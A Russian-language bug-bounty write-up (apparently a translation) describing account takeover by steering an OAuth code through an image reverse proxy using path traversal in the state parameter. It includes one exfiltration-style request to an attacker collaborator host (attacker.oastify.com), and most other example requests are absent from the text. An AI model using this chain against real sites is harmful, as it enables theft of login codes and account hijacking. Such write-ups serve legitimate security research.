Кража кода OAuth через Reverse Proxy для захвата аккаунта
SHADOW:GroupРазведка:
Выбранная мной цель была привязана к основному приложению:
1377.targetstaging.app
На первом этапе моего подхода к разведке я использовал различные сервисы, такие как Web Archive, Google и Yahoo, для извлечения конечных точек и различных путей.
Однако в этом конкретном таргете нам нужно было установить определенный файл cookie, например usertest=hash, как указано в политике программы, чтобы веб-сайт работал.
Я открыл свой Burp Suite и начал работать с приложением, тестируя его функционал и получая представление о том, как он работает.
Поток авторизации OAuth
Аутентификация пользователей - одна из интригующих частей для любого багхантера. Это было первое с чем я столкнулся, и начал изучать.
Сайт включал раздел OAuth, который позволял вам использовать таких провайдеров, как Google, Microsoft и Slack, для входа на веб-сайт. После тестирования и проверки потока OAuth я получил следующие пять запросов:
1. Первый запрос, который перенаправил меня на главный сайт компании, был следующим:
2. Второй запрос, который перенаправил меня на страницу входа в Google после перенаправления на главный сайт компании, выглядел следующим образом:
3. Третий запрос, в котором для возврата на главный сайт компании использовался код провайдера Google, выглядел так:
4. Четвертый запрос, в котором использовался код Google для перехода с основного сайта на поддомен, выглядел следующим образом:
5. Пятый и последний запрос в потоке авторизовал нас и позволил нам получить auth cookie для доступа к нашей учетной записи:
Разобравшись, как это работает, я попробовал разные способы взломать код. Моей первой идеей было проверить, как работает параметр redirect_uri на четвертом шаге для перенаправления жертв на мой домен и получения кода OAuth.
Я проводил здесь различные тесты, но оказалось, что Regex полностью привязан к домену компании и совершенно безопасен. Даже если был бы обнаружен open redirect, изменить параметр redirect_uri и перенаправить его было бы не возможно.
Через некоторое время я решил пойти дальше и сконцентрироваться на тестировании других функций сайта.
Функционал изменения изображения профиля
После входа в панель управления я стал тестировать функционал профиля. Я отслеживал запросы после каждого изменения.
Во время обновления изображения профиля в разделе «Обновить изображение профиля» мое внимание привлек один конкретный запрос:
Первая идея, которая приходит в голову каждому хакеру, — изменить URL-адрес для SSRF. Поэтому я вставил ссылку на свой Burp Collab в параметр AvatarUrl:
Я перезагрузил свой профиль и увидел, что новая ссылка была установлена для моего профиля, и этот запрос пришел в Burp Сollaborator:
Я заметил здесь то, что браузер не загружает изображение напрямую. Вместо этого ссылка на изображение профиля передается в reverse proxy, который затем загружает и отображает изображение. Тщательно проверив запросы, следующие за построением DOM, я наткнулся на такой запрос:
Здесь в качестве входных данных использовалась ссылка на изображение профиля, и если формат был изображением, она загружалась.
Здесь я выполнил различные тесты, такие как изменение протокола на gopher или file, использование трюков с перенаправлением для изменения протокола, использование ввода SVG для XSS или LFI, сканирование портов и многое другое.
Но здесь это казалось совершенно безопасным, и на данный момент у меня не было идей и я пошел дальше.
Построение цепочки уязвимостей
После перерыва я включил систему и проверил свои записи. Меня осенила идея, что у меня есть обратный прокси, который принимает URL-адрес в качестве пути и отправляет GET-запрос на URL-адрес со всей необходимой информацией в URL-адресе.
Если вы заметили, в пятом запросе потока OAuth, код передается в параметре GET. Итак, если я смогу каким-то образом перенаправить шаг 5 на этот путь:
GET /imageProxy/https://attacker.oastify.com/?code= HTTP/1.1
то смогу получить код и получить доступ к аккаунту.
Что ж, здесь я более внимательно рассмотрел поток, изучив параметры, которые провайдер, в данном случае Google, принимает как действительные:
Здесь у нас есть два важных параметра, выделенных красным и зеленым в приведенном выше запросе.
Первый параметр — redirect_uri, который нельзя было никак изменить и он был полностью фиксирован.
Второй параметр — который принимает любое значение и может быть изменен любым способом.
Целью этого параметра была передача его значения на основной сайт компании после аутентификации провайдера и получения кода.
Затем основной сайт компании проверит URL-адрес внутри параметра state, и если он пройдет функцию проверки, то перенаправит нас на этот URL-адрес с кодом провайдера. (4 запрос в потоке):
Теперь вместо первого URL-адреса, упомянутого ранее, мне нужно попытаться получить код, злоупотребляя обратным прокси-сервером, используя второй URL-адрес:
Я начал работать с регулярным выражением параметра redirect_uri в параметре state, чтобы перехватить код. Однако любое изменение приводило к ответу 403, что затрудняло манипуляции, за исключением добавления символов в продолжение пути. Это означает, что веб-сайт принимает такую ссылку:
Здесь мне пришла в голову идея использовать path traversal для наблюдения за поведением веб-сервера.
Я увидел, что это сработало, и вернуло меня на одну директорию. Итак, я мог бы использовать эту полезную нагрузку выше, чтобы вернуть жертву на три директории и перенаправить их по нужному пути, что позволит мне получить код:
Перейдем к последней полезной нагрузке. Здесь я мог бы использовать как target.app, так и провайдера для создания вредоносной ссылки. Таким образом можно создать две ссылки:
Если бы ٰжертва совершила переход по любой из этих двух ссылок и авторизовалась (или была авторизована), то я, как злоумышленник, получил бы такой запрос:
Он включал код провайдера, который я мог использовать в запросе на шаге 5 для доступа к учетной записи жертвы.
На этом все, спасибо за просмотр!
Оригинал на английском тут.
Подпишись на канал - @shadow_group_tg.